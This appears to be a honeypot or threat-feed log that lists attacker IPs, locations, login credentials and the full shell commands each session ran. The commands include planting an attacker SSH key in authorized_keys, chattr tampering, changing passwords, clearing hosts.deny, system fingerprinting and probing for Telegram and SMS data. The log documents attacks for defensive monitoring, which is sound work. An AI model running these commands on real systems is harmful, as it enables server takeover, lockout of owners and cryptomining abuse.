ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—2
$ uname -m 2 > /dev/null ร—15
$ cat /proc/uptime 2 > /dev/null ร—2
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—13
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—13
๐ŸŽญ drowsy_wok_root (49.232.93.246) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-06 11:49 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ murky_specter_root (160.174.129.232) โ€” Casablanca, Morocco ยท 1 session ยท 2 cmds
2026-07-06 11:26 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_garuda_root (203.145.34.182) โ€” Sukabumi, Indonesia ยท 1 session ยท 2 cmds
2026-07-06 11:23 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_dutch_root (91.92.40.176) โ€” Amsterdam, The Netherlands ยท 40 sessions ยท 360 cmds
2026-07-06 07:54 EDT ยท as deploy/deploy, guest/guest, mysql/mysql
PATH manipulation via export โ†’ OS fingerprinting through multiple uname variants โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ hardware profiling for cryptomining suitability
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—40
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—40
$ /bin/uname -s -v -n -m 2 > /dev/null ร—40
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—40
$ busybox uname -s -v -n -m 2 > /dev/null ร—40
$ ( [ -f /proc/version ] ร—40
$ [ -f /proc/version ] ร—40
$ head -1 /proc/version | cut -d -f1 ร—40
$ [ -f /etc/os-release ] ร—40
๐ŸŽญ haywire_lantern_root_8 (101.43.55.8) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-07-06 10:50 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ sneaky_panda_root (124.221.247.222) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-07-06 09:43 EDT ยท as guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ midnight_kimchi_root (115.140.161.61) โ€” Changwon-si, South Korea ยท 1 session ยท 9 cmds
2026-07-06 09:30 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ ashen_rickshaw_root (103.112.54.86) โ€” Dhaka, Bangladesh ยท 1 session ยท 20 cmds
2026-07-06 06:24 EDT ยท as admin/password
SSH brute force via piped passwd echo โ†’ chattr -ia .ssh lock โ†’ destructive .ssh directory wipe โ†’ CPU and memory fingerprinting via /proc/cpuinfo and free โ†’ binary audit of ls โ†’ crontab and w session checks โ†’ uname architecture detection โ†’ model enumeration โ†’ top process monitoring
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\npjqbRBTBJkOl\npjqbRBTBJkOl"|passwd|bash
$ Enter new UNIX password:
$ echo "password\npjqbRBTBJkOl\npjqbRBTBJkOl\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_gouda_root_137 (45.153.34.137) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-06 04:45 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ cryptic_barbie_root (203.185.198.246) โ€” Melbourne, Australia ยท 1 session ยท 20 cmds
2026-07-06 03:45 EDT ยท as user/user
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo -e "user\ndiLqbo4GFGiD\ndiLqbo4GFGiD"|passwd|
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\ndiLqbo4GFGiD\ndiLqbo4GFGiD"|passwd|bash
$ Enter new UNIX password:
$ echo "user\ndiLqbo4GFGiD\ndiLqbo4GFGiD\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ silent_panda_root (8.138.108.179) โ€” Guangzhou, China ยท 12 sessions ยท 12 cmds
2026-07-05 17:05 EDT ยท as admin/admin, deploy/deploy123, oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—12
๐ŸŽญ glitchy_wok_root (222.88.163.203) โ€” Guancheng, China ยท 1 session ยท 1 cmd
2026-07-06 02:43 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ drowsy_bamboo_root (14.224.227.189) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-07-06 00:42 EDT ยท as oracle/os10+ZTE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_husk_root (41.111.178.165) โ€” Algiers, Algeria ยท 1 session ยท 2 cmds
2026-07-06 00:27 EDT ยท as oracle/oracle1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_rendang_root_30 (103.16.117.30) โ€” Malang, Indonesia ยท 1 session ยท 2 cmds
2026-07-06 00:21 EDT ยท as oracle/os10+ZTE
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ frantic_bike_root (82.39.86.153) โ€” Kerkrade, The Netherlands ยท 1 session ยท 20 cmds
2026-07-06 00:06 EDT ยท as oracle/oracle1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "oracle1234\nJOuXRlFfv0CO\nJOuXRlFfv0CO"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle1234\nJOuXRlFfv0CO\nJOuXRlFfv0CO\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ crimson_dragon_db (115.190.165.93) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-07-05 23:52 EDT ยท as oracle/1234qwer
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_cowboy_root_48 (209.46.124.48) โ€” Sulphur Springs, United States ยท 1 session ยท 20 cmds
2026-07-05 21:58 EDT ยท as tomcat/tomcat123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat123\nfmoFuzN3Fq9O\nfmoFuzN3Fq9O"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat123\nfmoFuzN3Fq9O\nfmoFuzN3Fq9O\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ obsidian_rogue_root (152.53.0.56) โ€” Vienna, Austria ยท 1 session ยท 20 cmds
2026-07-05 21:50 EDT ยท as tomcat/tomcat123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "tomcat123\ne3LQi8OYUQX2\ne3LQi8OYUQX2"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat123\ne3LQi8OYUQX2\ne3LQi8OYUQX2\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_autobahn_root_68 (68.183.212.68) โ€” Frankfurt am Main, Germany ยท 1 session ยท 19 cmds
2026-07-05 21:26 EDT ยท as root/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:YxFKzj1QiYm0"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_rendang_root_241 (103.190.214.241) โ€” Dalung, Indonesia ยท 1 session ยท 2 cmds
2026-07-05 21:21 EDT ยท as oracle/qweasdzxc
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
